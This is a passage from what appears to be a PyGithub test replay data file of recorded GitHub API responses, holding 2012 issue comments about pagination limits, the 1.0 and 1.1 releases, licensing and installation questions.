1.0.","updated_at":"2012-05-21T11:17:12Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5820199","created_at":"2012-05-21T11:17:12Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5820199},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4622816","body":"Thanks. :-)","updated_at":"2012-05-21T12:09:57Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5820912","created_at":"2012-05-21T12:09:57Z","user":{"type":"User","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/bilderbuchi/repos","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":5820912},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3624575","body":"It means that there will be three ways to create an instance of the Github class:\n github = Github()\n github = Github( login, password )\n github = Github( oauth_token )\n","updated_at":"2012-05-25T06:31:42Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5924198","created_at":"2012-05-25T06:31:42Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5924198},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4780155","body":"You're definitively my best user ! I hope you will not get tired of discovering bugs and limitations in my library.\n\nThis issue is related to https://github.com/PyGithub/PyGithub/blob/master/github/Requester.py#L28 and the `pageCount < 10`: I've had to limit to 10 pages for some obscure reason I don't remember.\n\nIn version 1.0, `get_issues` (and other `get_collection`s) will not return a Python `list` but a `github.PaginatedList` which will be iterable and not limited to 10 pages, (but you won't be able to call `len` on it).","updated_at":"2012-05-28T13:52:22Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5965724","created_at":"2012-05-28T13:52:22Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5965724},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3527245","body":"For example, `Repository.edit` has a first parameter, `name`, which is mandatory, and should not. We could deduce it from the `name` attribute.","updated_at":"2012-05-28T13:58:35Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5965812","created_at":"2012-05-28T13:58:35Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5965812},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4780155","body":"I see. Is there a possibility to increase the number of items per page to work around this for now? This is in the API (with `&per_page=100` according to API docs), but I'm unsure how to do this in PyGithub. Default is 25, max 100.","updated_at":"2012-05-28T14:04:42Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5965891","created_at":"2012-05-28T14:04:25Z","user":{"type":"User","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/bilderbuchi/repos","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":5965891},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4780155","body":"If you can't or don't want to modify PyGithub locally, I'm afraid you're stuck to 10 pages of 25 items, sorry.\n\nIf you can patch PyGithub, just increase/remove the limit on `pageCount` in `Requester.py`.\n\nBe assured I will publish version 1.0 on next Monday, with all the things I promised :)","updated_at":"2012-05-28T14:42:47Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5966555","created_at":"2012-05-28T14:42:47Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5966555},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4780155","body":"I see. I can either patch it locally, or just wait for next week. It will take a while until I get all the other work done, waiting for 1.0 probably won't delay me at all.","updated_at":"2012-05-28T14:47:02Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5966633","created_at":"2012-05-28T14:47:02Z","user":{"type":"User","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/bilderbuchi/repos","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":5966633},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4793162","body":"Add a test `Issue33.testClosedIssues` when `Repository.get_issues` uses its 'state' parameter for issue #33","updated_at":"2012-05-29T11:36:02Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5981084","created_at":"2012-05-29T11:36:02Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5981084},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4793290","body":"Duplicate of #18...","updated_at":"2012-05-29T11:45:46Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5981232","created_at":"2012-05-29T11:45:46Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5981232},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4639931","body":"Will be OK in version 1.0: no more strange meta-description of the API, and the (generated, but it does not mater) code is easily readable by the IDE's auto-completion tool.","updated_at":"2012-05-29T11:56:06Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5981409","created_at":"2012-05-29T11:56:06Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5981409},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3716033","body":"This will be covered by #36","updated_at":"2012-05-29T11:58:04Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5981451","created_at":"2012-05-29T11:58:04Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5981451},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4793162","body":"@Lyloa I have to mention someone to test `Repository.get_issues` with argument `mentioned`","updated_at":"2012-05-29T18:38:53Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5991965","created_at":"2012-05-29T18:38:53Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5991965},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4356743","body":"Should be much improved by 7248e66. Will be in version 1.0","updated_at":"2012-05-30T19:58:35Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6019700","created_at":"2012-05-30T19:58:35Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6019700},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3619973","body":"Done! You can `easy_install --upgrade PyGithub`.","updated_at":"2012-06-03T19:56:17Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6088432","created_at":"2012-06-03T19:56:17Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6088432},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5036241","body":"PyGithub is definitely licensed under the GNU **Lesser** General Public License.\n\nAccording to http://www.gnu.org/licenses/gpl-howto.html, including both COPYING and COPYING.LESSER is the good way to use the LGPL. Anyway, this is misleading, so I will add a section about licensing in the readme today or tomorrow.\n\nThank you for your feedback, I hope PyGithub will be useful for you.","updated_at":"2012-06-13T10:52:24Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6293572","created_at":"2012-06-13T06:03:24Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6293572},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5036241","body":"Sorry I wasn't up to date on v3 licensing best practices. Thank you very much!\n","updated_at":"2012-06-13T16:17:27Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6305625","created_at":"2012-06-13T16:17:27Z","user":{"type":"User","events_url":"https://api.github.com/users/jeblair/events{/privacy}","received_events_url":"https://api.github.com/users/jeblair/received_events","gists_url":"https://api.github.com/users/jeblair/gists{/gist_id}","followers_url":"https://api.github.com/users/jeblair/followers","following_url":"https://api.github.com/users/jeblair/following","organizations_url":"https://api.github.com/users/jeblair/orgs","url":"https://api.github.com/users/jeblair","gravatar_id":"12dc328a104d4c4694b3df308bcd4e6d","starred_url":"https://api.github.com/users/jeblair/starred{/owner}{/repo}","login":"jeblair","avatar_url":"https://secure.gravatar.com/avatar/12dc328a104d4c4694b3df308bcd4e6d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jeblair/repos","subscriptions_url":"https://api.github.com/users/jeblair/subscriptions","id":899068},"id":6305625},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5092592","body":"Hello, when the user has not set his name, `user.name` is `None`, so you can't concatenate it with a string. The exception is not raised by PyGithub but by your code. Try `print user.login, \"->\", user.name` to avoid string concatenation.","updated_at":"2012-06-15T16:56:50Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6357374","created_at":"2012-06-15T14:08:33Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6357374},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5092592","body":"Perfect! Thanks, that worked. I _knew_ `+` for string concatenation was evil...did not listen.","updated_at":"2012-06-15T14:12:00Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6357422","created_at":"2012-06-15T14:10:33Z","user":{"type":"User","events_url":"https://api.github.com/users/aneroid/events{/privacy}","received_events_url":"https://api.github.com/users/aneroid/received_events","gists_url":"https://api.github.com/users/aneroid/gists{/gist_id}","followers_url":"https://api.github.com/users/aneroid/followers","following_url":"https://api.github.com/users/aneroid/following","organizations_url":"https://api.github.com/users/aneroid/orgs","url":"https://api.github.com/users/aneroid","gravatar_id":"5557aad9ff70c36cfac418f511bdea98","starred_url":"https://api.github.com/users/aneroid/starred{/owner}{/repo}","login":"aneroid","avatar_url":"https://secure.gravatar.com/avatar/5557aad9ff70c36cfac418f511bdea98?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/aneroid/repos","subscriptions_url":"https://api.github.com/users/aneroid/subscriptions","id":1468519},"id":6357422},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5152384","body":"Thank you for your contribution, I will merge it and publish version 1.1 tonight.","updated_at":"2012-06-20T08:15:10Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6447481","created_at":"2012-06-20T08:15:10Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6447481}] https GET api.github.com None /repos/PyGithub/PyGithub/issues/comments?page=2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '46165'), ('server', 'nginx'), ('last-modified', 'Fri, 21 Dec 2012 18:46:45 GMT'), ('connection', 'keep-alive'), ('etag', '"446137bf216c4edc30567fbc3e944b5a"'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 25 Dec 2012 11:53:53 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5152384","body":"I've just pushed the version 1.1 of the package. You can `easy_install --upgrade PyGithub` if you want.","updated_at":"2012-06-20T21:06:08Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6467193","created_at":"2012-06-20T21:06:08Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","repos_url":"https://api.github.com/users/jacquev6/repos","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6467193},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5177381","body":"Hello Alex, thank you for your feedback.\n\nI've just pushed the version 1.1 of the package. I've used `package_data` as explained in the [documentation of distutils](http://docs.python.org/distutils/setupscript.html#installing-package-data), but I'm still not very confident about my understanding of distutils... \n\nCould you please upgrade the package and tell if it's better?","updated_at":"2012-06-20T21:11:31Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6467312","created_at":"2012-06-20T21:11:31Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","repos_url":"https://api.github.com/users/jacquev6/repos","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6467312},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5177381","body":"Thanks for looking at this so quickly! Here's the result of running `python setup.py install` with your new changes:\n\n```\n\nrunning install_lib\ncopying build/lib/COPYING -> /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages\ncopying build/lib/COPYING.LESSER -> /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages\ncreating /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/doc\ncopying build/lib/doc/Design.md -> /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/doc\ncopying build/lib/doc/ReferenceOfApis.md -> /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/doc\ncopying build/lib/doc/ReferenceOfClasses.md -> /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/doc\ncopying build/lib/github/Requester.py -> /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/github\ncopying build/lib/ReadMe.md -> /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages\n\n```\n\nI wish I could help, but I'm afraid I don't know how setuptools works.","updated_at":"2012-06-20T21:33:50Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6467642","created_at":"2012-06-20T21:22:44Z","user":{"type":"User","gists_url":"https://api.github.com/users/malexw/gists{/gist_id}","events_url":"https://api.github.com/users/malexw/events{/privacy}","followers_url":"https://api.github.com/users/malexw/followers","avatar_url":"https://secure.gravatar.com/avatar/13a30f9924fa2bd918cbb8d06dd8b55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/malexw/following","organizations_url":"https://api.github.com/users/malexw/orgs","url":"https://api.github.com/users/malexw","repos_url":"https://api.github.com/users/malexw/repos","starred_url":"https://api.github.com/users/malexw/starred{/owner}{/repo}","gravatar_id":"13a30f9924fa2bd918cbb8d06dd8b55a","login":"malexw","received_events_url":"https://api.github.com/users/malexw/received_events","subscriptions_url":"https://api.github.com/users/malexw/subscriptions","id":577322},"id":6467642},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5191621","body":"Those new apis where documented on June 5th, in https://github.com/github/developer.github.com/commit/3cff4bb9a1f1baf3101c984072cd4b4f0165618c. This explains that they are not covered by PyGithub 1.0 that was released on June 3rd.\n\nIt should not be too difficult to support them. I'll try to do it next 